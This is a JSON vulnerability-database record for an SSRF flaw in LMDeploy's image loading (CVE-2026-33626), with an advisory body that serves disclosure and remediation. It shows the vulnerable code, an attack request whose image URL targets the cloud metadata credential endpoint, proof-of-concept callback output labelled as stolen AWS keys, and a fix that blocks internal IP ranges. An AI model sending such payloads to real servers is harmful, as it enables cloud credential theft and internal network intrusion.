{"id":"CVE-2026-33626","aliases":["GHSA-6w67-hwm5-92mq","PYSEC-2026-2607"],"title":"LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading","summary":"LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","vendor":"lmdeploy","product":"lmdeploy","ecosystem":"pip","affected":["lmdeploy <= 0.12.2"],"published":"2026-04-21","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-6w67-hwm5-92mq","references":[{"url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33626"},{"url":"https://github.com/InternLM/lmdeploy/pull/4447"},{"url":"https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"},{"url":"https://github.com/InternLM/lmdeploy"},{"url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"}],"tags":["osv","pip","exploit-available"],"epss":0.4525,"epssPercentile":0.98769,"ingestedAt":"2026-07-13T18:57:54.039Z","exploits":{"github":1,"githubRepos":["https://github.com/rootdirective-sec/CVE-2026-33626-Lab"],"nuclei":["CVE-2026-33626"],"checkedAt":"2026-09-21T15:28:42.335Z"},"exploitAvailable":true,"slug":"CVE-2026-33626","body":"## Overview\n\n## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -> Image.Image:\n    # ...\n    if image_url.startswith('http'):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n╔═══════════════════════════════════════════════════════════════════════╗\n║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║\n╚═══════════════════════════════════════════════════════════════════════╝\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n✅ SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),\n    ipaddress.ip_network('10.0.0.0/8'),\n    ipaddress.ip_network('172.16.0.0/12'),\n    ipaddress.ip_network('192.168.0.0/16'),\n    ipaddress.ip_network('169.254.0.0/16'),\n]\n\ndef is_safe_url(url: str) -> bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in ('http', 'https'):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security's research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security\n\n## Affected packages\n\n- `lmdeploy <= 0.12.2`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"midnight","depthScore":62,"depthScoreParts":{"impact":41.3,"likelihood":9.1,"exploitation":12,"ransomware":0},"changes":[{"seq":5110,"id":"CVE-2026-33626","ts":1788887248647,"field":"exploit_available","old":"false","new":"true"},{"seq":3993,"id":"CVE-2026-33626","ts":1788886364309,"field":"exploit_available","old":"true","new":"false"},{"seq":2808,"id":"CVE-2026-33626","ts":1788883031020,"field":"exploit_available","old":"false","new":"true"},{"seq":1837,"id":"CVE-2026-33626","ts":1788882433937,"field":"exploit_available","old":"true","new":"false"},{"seq":935,"id":"CVE-2026-33626","ts":1788881867943,"field":"exploit_available","old":"false","new":"true"}]}